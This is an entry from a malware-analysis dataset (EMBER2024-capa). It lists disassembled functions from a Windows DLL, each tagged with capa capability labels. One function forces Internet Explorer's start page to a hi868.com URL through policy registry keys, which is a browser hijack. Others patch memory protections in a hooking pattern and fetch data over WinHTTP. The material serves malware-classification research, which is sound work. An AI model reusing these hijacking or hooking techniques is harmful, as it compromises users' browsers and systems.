joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002ccf
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp dword [0x10037030], edi
je 0x10002ce5
mov eax, 0x10dd
jmp 0x10002d3f
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x10037030
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x10002cde
push esi
mov esi, dword [0x10037024]
mov dword [0x1003702c], edi
mov dword [0x10037040], edi
mov dword [0x1003703c], edi
mov dword [0x10037034], edi
mov dword [0x10037038], edi
jmp 0x10002d38
lea eax, [ebp - 4]
push eax
push 0x40
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esi + 4]
cmp esi, edi
jne 0x10002d23
xor eax, eax
pop esi
pop edi
leave
ret

Function at 0x10002d42
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10037030], eax
je 0x10002d5b
mov eax, 0x10dd
leave
ret
push ebx
push esi
mov esi, dword [0x10037040]
xor ebx, ebx
push edi
cmp esi, ebx
je 0x10002da5
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x17]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], ebx
jne 0x10002d96
mov edi, dword [esi + 0x10]
cmp edi, ebx
je 0x10002d96
call fcn.10002c4b
mov dword [esi + 0x10], ebx
mov edi, dword [esi]
push esi
call fcn.1001538f
pop ecx
mov esi, edi
cmp edi, ebx
jne 0x10002d6a
mov dword [0x10037040], ebx
call fcn.10002a44
mov esi, dword [0x1003703c]
cmp esi, ebx
je 0x10002dd2
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [esi]
push esi
call fcn.1001538f
pop ecx
mov esi, edi
cmp edi, ebx
jne 0x10002dba
pop edi
pop esi
mov dword [0x1003703c], ebx
mov dword [0x10037030], ebx
xor eax, eax
pop ebx
leave
ret
Function at 0x10003054
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10037034]
test eax, eax
jne 0x100030c6
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [ebp + 8]
cmp edi, eax
jne 0x10003072
xor eax, eax
jmp 0x100030c5
push esi
push 8
call fcn.1001803d
mov esi, eax
pop ecx
test esi, esi
jne 0x10003086
push 8
pop edi
jmp 0x100030a1
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100030b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.1001538f
pop ecx
and dword [0x10037038], 0
mov dword [0x10037034], edi
mov eax, edi
jmp 0x100030c4
mov eax, dword [0x1003703c]
mov dword [esi], eax
mov dword [esi + 4], edi
mov dword [0x1003703c], esi
xor eax, eax
pop esi
pop edi
pop ebp
ret 4
Function at 0x10003320
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10037030], eax
je 0x1000333c
mov eax, 0x10dd
jmp 0x1000341f
mov eax, dword [0x10037034]
test eax, eax
jne 0x1000341f
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10003359
push 6
pop eax
jmp 0x1000341e
cmp dword [edi], 0
jne 0x10003371
push 6
pop eax
mov dword [0x10037034], eax
mov dword [0x10037038], edi
jmp 0x1000341e
push ebx
push esi
push 0x18
call fcn.1001803d
mov esi, eax
pop ecx
test esi, esi
jne 0x10003386
push 8
pop edi
jmp 0x10003401
mov edi, dword [edi]
push 0
push dword [ebp + 0xc]
call fcn.10002997
mov ebx, dword [edi + 0x18]
pop ecx
pop ecx
movzx ecx, byte [edi + 0x17]
xor edx, edx
sub ebx, ecx
cmp ecx, edx
je 0x100033f6
cmp ecx, 0x17
ja 0x100033f6
cmp dword [edi + 0x1c], eax
jne 0x100033f6
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push ebx
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100033cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x10003401
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov dword [esi + 0x10], edi
mov dword [esi + 0xc], ebx
mov eax, dword [ebp - 4]
mov dword [esi + 0x14], eax
mov eax, dword [0x10037040]
mov dword [esi], eax
mov dword [0x10037040], esi
xor eax, eax
jmp 0x1000341c
push 9
pop edi
cmp dword [0x1003702c], edx
jne 0x10003407
mov dword [0x10037034], edi
test esi, esi
je 0x10003412
push esi
call fcn.1001538f
pop ecx
mov eax, dword [ebp + 8]
mov dword [0x10037038], eax
mov eax, edi
pop esi
pop ebx
pop edi
leave
ret 8

Function at 0x10003d1d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push esi
call dword [sym.imp.imagehlp.dll_CheckSumMappedFile]
test eax, eax
jne 0x10003d40
xor al, al
jmp 0x10003d5f
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10003d3c
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x10003d3c
mov ecx, dword [ebp - 4]
mov dword [eax + 0x58], ecx
mov al, 1
pop esi
leave
ret
Function at 0x100047ba
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x10035e28]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], esi
call fcn.1000133e
mov ebx, eax
cmp ebx, esi
je 0x1000482b
lea ecx, [ebp - 0x214]
call fcn.10001323
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100154ca
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10004849
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x214]
call fcn.100047ba
cmp eax, esi
jne 0x10004890
lea eax, [ebp - 0x220]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push esi
push dword [ebp - 0x214]
mov dword [ebp - 0x208], 0x100
call ebx
test eax, eax
je 0x10004833
lea ecx, [ebp - 0x214]
call fcn.10001323
push dword [ebp - 0x218]
mov ecx, edi
call fcn.10003f14
lea ecx, [ebp - 0x214]
mov esi, eax
call fcn.10001323
mov eax, esi
jmp 0x1000481a
Function at 0x1000777b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002865f
call fcn.10015cba
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 2
push esi
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x41c], eax
cmp eax, esi
jne 0x100077d4
call fcn.10003c25
mov esi, eax
jmp 0x100078aa
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
jne 0x100077ed
call fcn.10003c25
jmp 0x1000789c
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, esi
je 0x100077e3
push edi
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
mov dword [ebp - 0x424], edi
cmp eax, edi
jae 0x10007827
mov esi, 0x8007000e
jmp 0x1000789e
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.10005227
mov dword [ebp - 4], 1
jmp 0x10007855
cmp dword [ebp - 0x418], esi
je 0x10007820
push edi
push dword [ebp - 0x418]
push edi
push dword [ebp - 0x420]
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, esi
je 0x100077e3
mov edx, dword [ebp - 0x418]
push dword [ebp + 0x14]
xor ecx, ecx
mov word [edx + eax*2], cx
push dword [ebp - 0x418]
lea ecx, [ebp - 0x42c]
call fcn.10006ec8
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x100078c3
lea ecx, [ebp - 0x418]
call fcn.100046c1
mov eax, esi
call fcn.10015d16
ret 0x10
Function at 0x10008f7f
Capabilities:
Accept command line arguments
Check if file exists

Disassembly:
push 0x22c
mov eax, 0x10028897
call fcn.10015c84
mov esi, dword [ebp + 8]
mov edi, 0x10035d94
push edi
lea ecx, [ebp - 0x224]
call fcn.10001494
xor ebx, ebx
push edi
lea ecx, [ebp - 0x21c]
mov dword [ebp - 4], ebx
call fcn.10001494
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
mov byte [ebp - 4], 2
call fcn.100154e0
add esp, 0xc
lea ecx, [esi + 0xc]
mov dword [ebp - 0x238], 0x104
mov dword [ebp - 0x220], ebx
call fcn.10001afa
lea ecx, [esi + 0x10]
call fcn.10001afa
push ebx
push 0x1002a848
lea ecx, [esi + 0xc]
call fcn.10001a9c
inc eax
push eax
lea eax, [ebp - 0x234]
push eax
lea ecx, [esi + 0xc]
call fcn.10006d60
push eax
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 3
call fcn.10001dd7
mov ecx, dword [ebp - 0x234]
add ecx, 0xfffffff0
call fcn.100013fc
push ebx
push str.hklm
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
je 0x100090c8
push ebx
push str.hkey_local_machine
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
je 0x100090c8
push ebx
push str.hkcu
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
je 0x100090bc
push ebx
push str.hkey_current_user
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
je 0x100090bc
push ebx
push str.hkcr
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
je 0x100090b0
push ebx
push str.hkey_classes_root
lea ecx, [esi + 0xc]
call fcn.10001a9c
test eax, eax
jne 0x100090d2
mov dword [ebp - 0x220], VariantInit
jmp 0x100090d2
mov dword [ebp - 0x220], VariantInit
jmp 0x100090d2
mov dword [ebp - 0x220], reloc.OLEAUT32.dll_SysReAllocString
mov edi, dword [ebp - 0x21c]
push 0x20019
push edi
push dword [ebp - 0x220]
lea ecx, [ebp - 0x230]
call fcn.1000133e
test eax, eax
jne 0x1000917b
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x218]
push eax
push dword [esi + 0x10]
lea ecx, [ebp - 0x230]
call fcn.1000138d
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x218]
push eax
call esi
test eax, eax
je 0x1000914b
lea ecx, [ebp - 0x230]
call fcn.10001323
lea ecx, [edi - 0x10]
call fcn.100013fc
mov ecx, dword [ebp - 0x224]
add ecx, 0xfffffff0
call fcn.100013fc
mov al, 1
jmp 0x1000919e
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x218]
push eax
mov dword [ebp - 0x21c], ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x21c], ebx
jle 0x1000917b
cmp eax, ebx
je 0x1000917b
push dword [eax]
call esi
test eax, eax
je 0x1000917b
mov bl, 1
lea ecx, [ebp - 0x230]
call fcn.10001323
lea ecx, [edi - 0x10]
call fcn.100013fc
mov ecx, dword [ebp - 0x224]
add ecx, 0xfffffff0
call fcn.100013fc
mov al, bl
call fcn.10015d07
ret
Function at 0x1000bdcc
Capabilities:
Create thread
Set registry value

Disassembly:
push 0x254
mov eax, 0x10028c3c
call fcn.10015c84
mov al, byte [0x10037158]
xor ebx, ebx
mov dword [ebp - 0x21c], ecx
cmp al, bl
jne 0x1000bfd4
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.100154e0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.windowsexplorer.exe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x1000bf4d
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x228], ebx
mov edi, 0x2001f
push edi
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
mov esi, getpeername
push esi
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
call fcn.1000133e
test eax, eax
je 0x1000be8a
push ebx
push ebx
push edi
push ebx
push ebx
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push esi
lea ecx, [ebp - 0x230]
call fcn.10003f84
test eax, eax
jne 0x1000bea1
push 1
push str.http:__www.hi868.com__88888_8888
push str.Start_Page
lea ecx, [ebp - 0x230]
call fcn.10004024
lea ecx, [ebp - 0x230]
call fcn.10001323
push edi
push str.SoftwarePoliciesMicrosoftInternet_ExplorerTabbedBrowsing
push esi
lea ecx, [ebp - 0x230]
call fcn.1000133e
test eax, eax
je 0x1000bedc
push ebx
push ebx
push edi
push ebx
push ebx
push str.SoftwarePoliciesMicrosoftInternet_ExplorerTabbedBrowsing
push esi
lea ecx, [ebp - 0x230]
call fcn.10003f84
test eax, eax
jne 0x1000bf03
push 4
lea eax, [ebp - 0x220]
push eax
push 4
push ebx
push str.NewTabPageShow
push dword [ebp - 0x230]
mov dword [ebp - 0x220], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0x230]
call fcn.10001323
mov ecx, dword [ebp - 0x21c]
call fcn.10009540
lea ecx, [ebp - 0x260]
call fcn.10002247
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 1
call fcn.1000231b
lea ecx, [ebp - 0x260]
call fcn.100053db
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.10001323
mov ecx, dword [ebp - 0x21c]
call fcn.1000bd65
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x224]
push eax
push ebx
push dword [ebp - 0x21c]
mov dword [ebp - 0x224], ebx
push 0x1000af30
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0x220], eax
cmp eax, ebx
je 0x1000bf9c
push 1
push eax
call edi
push dword [ebp - 0x220]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x224]
push eax
push ebx
push dword [ebp - 0x21c]
mov dword [ebp - 0x224], ebx
push 0x10009df5
push ebx
push ebx
call esi
mov esi, eax
cmp esi, ebx
je 0x1000bfcb
push 1
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x10037158], 1
mov al, 1
call fcn.10015d07
ret
Function at 0x1000cb49
Capabilities:
Check if file exists
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
mov eax, 0x10028cb3
call fcn.10015c84
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp + 0x18]
xor esi, esi
push esi
mov dword [ebp - 0x22c], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x1000cd09
lea eax, [ebp - 0x21c]
push eax
push 0x1002e34c
push 1
push esi
push 0x1002e3dc
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, esi
jl 0x1000cd09
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x50]
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push esi
push eax
call fcn.100154e0
add esp, 0xc
push esi
push 0x1c
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp eax, esi
je 0x1000cc98
push 0x10035d94
lea ecx, [ebp - 0x228]
call fcn.10001494
push dword [ebp - 0x234]
lea eax, [ebp - 0x228]
push str._s.ico
push eax
mov dword [ebp - 4], esi
call fcn.100080a0
mov edi, dword [ebp - 0x228]
add esp, 0xc
push edi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
call fcn.10001758
push 1
lea eax, [ebp - 0x220]
push eax
push ebx
mov byte [ebp - 4], 1
call fcn.10009b49
add esp, 0xc
push dword [ebp - 0x220]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000cc7c
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x220]
push eax
call dword [ecx + 0x44]
mov ecx, dword [ebp - 0x220]
add ecx, 0xfffffff0
call fcn.100013fc
or dword [ebp - 4], 0xffffffff
lea ecx, [edi - 0x10]
call fcn.100013fc
jmp 0x1000cca6
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push esi
push ebx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x21c]
push dword [ebp - 0x22c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
lea edx, [ebp - 0x224]
push edx
push 0x1002e3cc
push eax
call dword [ecx]
test eax, eax
js 0x1000cd09
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
push esi
push dword [ebp - 0x230]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
inc eax
jmp 0x1000cd0b
xor eax, eax
call fcn.10015d07
ret
Function at 0x1000cff3
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax], 0
and dword [eax + 4], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret 4

Function at 0x1000e0eb
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x811c9dc5
jmp 0x1000e104
movsx edx, byte [ecx]
imul eax, eax, 0x1000193
xor eax, edx
inc ecx
cmp ecx, dword [ebp + 0xc]
jne 0x1000e0f8
pop ebp
ret
Function at 0x1000f261
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x38
mov eax, 0x10028df4
call fcn.10015c84
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, 0x10037164
mov dword [ebp - 0x30], eax
mov eax, dword [0x10037164]
mov ecx, esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], vtable.CAutoLockWrap_class_CCSWrap_.0
mov dword [ebp - 0x40], esi
call dword [eax]
and dword [ebp - 4], 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.1000ef5e
push 0x10037184
push edi
push ebx
mov ecx, 0x1003b934
mov byte [ebp - 4], 1
call fcn.100144be
test al, al
jne 0x1000f2de
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.100052b4
mov ecx, esi
mov eax, dword [0x10037164]
or dword [ebp - 4], 0xffffffff
call dword [eax + 4]
xor al, al
call fcn.10015d07
ret 0xc
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1000f2ea
lea eax, [ebp - 0x2c]
cmp dword [ebx + 0x14], 0x10
jb 0x1000f2f2
mov ebx, dword [ebx]
push eax
push ebx
call fcn.100191d4
pop ecx
pop ecx
mov ebx, 0x1002ce30
test eax, eax
je 0x1000f314
push ebx
call fcn.100161f0
pop ecx
push eax
push ebx
mov ecx, edi
call fcn.10007f03
mov eax, dword [0x10037184]
mov esi, dword [eax]
mov dword [ebp - 0x3c], eax
cmp esi, eax
je 0x1000f41c
push dword [ebp - 0x38]
lea ecx, [esi + 8]
call fcn.1000e57d
test eax, eax
jne 0x1000f3da
lea eax, [esi + 0x4c]
cmp dword [eax + 0x14], 0x10
jb 0x1000f344
mov eax, dword [eax]
cmp dword [edi + 0x14], 0x10
jb 0x1000f34e
mov ecx, dword [edi]
jmp 0x1000f350
mov ecx, edi
push eax
push ecx
call fcn.10015fd0
pop ecx
pop ecx
test eax, eax
jne 0x1000f3e7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x10037190]
cmp eax, 0xbb8
jb 0x1000f3e7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
mov dword [0x10037190], eax
call fcn.100161f0
pop ecx
push eax
push ebx
push dword [edi + 0x10]
mov ecx, edi
push 0
call fcn.1000e3e1
test eax, eax
jne 0x1000f39e
cmp dword [edi + 0x10], 1
je 0x1000f3fd
mov eax, dword [esi + 0x24]
mov ebx, dword [eax]
mov dword [ebp - 0x34], eax
cmp ebx, eax
je 0x1000f3d5
lea eax, [ebx + 8]
cmp dword [eax + 0x14], 0x10
jb 0x1000f3b5
mov eax, dword [eax]
cmp dword [edi + 0x14], 0x10
jb 0x1000f3bf
mov ecx, dword [edi]
jmp 0x1000f3c1
mov ecx, edi
push eax
push ecx
call fcn.10015fd0
pop ecx
pop ecx
test eax, eax
jne 0x1000f3fd
mov ebx, dword [ebx]
cmp ebx, dword [ebp - 0x34]
jne 0x1000f3aa
mov ebx, 0x1002ce30
mov esi, dword [esi]
cmp esi, dword [ebp - 0x3c]
jne 0x1000f326
jmp 0x1000f41c
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.100052b4
mov ecx, 0x10037164
jmp 0x1000f2c8
mov edi, dword [ebp - 0x30]
push 0xffffffffffffffff
push 0
lea eax, [esi + 0x30]
push eax
lea ecx, [edi + 0x28]
call fcn.10007634
mov al, byte [esi + 0x68]
mov byte [edi + 0x60], al
cmp byte [esi + 0x69], 0
je 0x1000f442
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.100052b4
mov eax, dword [0x10037164]
or dword [ebp - 4], 0xffffffff
mov ecx, 0x10037164
call dword [eax + 4]
mov al, bl
jmp 0x1000f2d6
mov bl, 1
jmp 0x1000f41e
Function at 0x10011eb8
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.10018250
mov eax, dword [0x10035e28]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x1004]
push 0x1000
push eax
call fcn.10021457
lea eax, [ebp - 0x1004]
push eax
call fcn.100161f0
mov esi, 0xfff
sub esi, eax
push esi
lea eax, [ebp - 0x1004]
push 0x1002ce48
push eax
call fcn.10019810
add esp, 0x20
push 0
inc esi
push esi
lea eax, [ebp - 6]
sub eax, esi
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x1004]
push eax
call esi
push 0x1002d0e0
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100154ca
leave
ret
Function at 0x10013135
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x10035e28]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x42c], eax
cmp eax, ebx
jne 0x1001316c
xor al, al
jmp 0x10013246
cmp dword [edi], 0x400000
jne 0x10013165
push esi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push ebx
push eax
call fcn.100154e0
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.100154e0
push 0x38
lea eax, [ebp - 0x464]
push ebx
push eax
call fcn.100154e0
mov eax, 0x104
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x438], eax
add esp, 0x24
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x468]
push eax
push SysReAllocString
push ebx
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x414]
mov dword [ebp - 0x468], 0x3c
mov dword [ebp - 0x458], ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
mov dword [ebp - 0x424], esi
cmp esi, ebx
je 0x10013243
push ebx
push dword [ebp - 0x450]
push dword [ebp - 0x458]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x428], eax
cmp eax, ebx
jne 0x10013256
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.100154ca
leave
ret 0xc
push 0x100
push ebx
push ebx
push str.HTTP_1.1
push dword [ebp - 0x43c]
push 0x1002c674
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push ebx
push ebx
push ebx
push ebx
push ebx
mov esi, eax
push ebx
push esi
mov dword [ebp - 0x41c], esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp esi, ebx
jne 0x100132a7
push dword [ebp - 0x428]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0x424]
call esi
mov al, bl
jmp 0x10013245
push ebx
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov esi, 0x1f40
push esi
call fcn.100152a7
push esi
push ebx
push eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], ebx
mov dword [edi], ebx
call fcn.100154e0
add esp, 0x10
jmp 0x1001331d
mov ecx, dword [ebp - 0x420]
cmp ecx, ebx
jbe 0x1001333f
mov eax, dword [edi]
lea edx, [eax + ecx]
cmp edx, 0x400000
ja 0x1001333d
add eax, dword [ebp - 0x42c]
push ecx
push dword [ebp - 0x418]
push eax
call fcn.10017810
push esi
push ebx
push dword [ebp - 0x418]
call fcn.100154e0
mov eax, dword [ebp - 0x420]
add esp, 0x18
add dword [edi], eax
mov dword [ebp - 0x420], ebx
lea eax, [ebp - 0x420]
push eax
push esi
push dword [ebp - 0x418]
push dword [ebp - 0x41c]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x100132d5
jmp 0x1001333f
mov dword [edi], ebx
cmp dword [ebp - 0x418], ebx
je 0x10013353
push dword [ebp - 0x418]
call fcn.1001538f
pop ecx
push dword [ebp - 0x41c]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov bl, 1
jmp 0x1001328d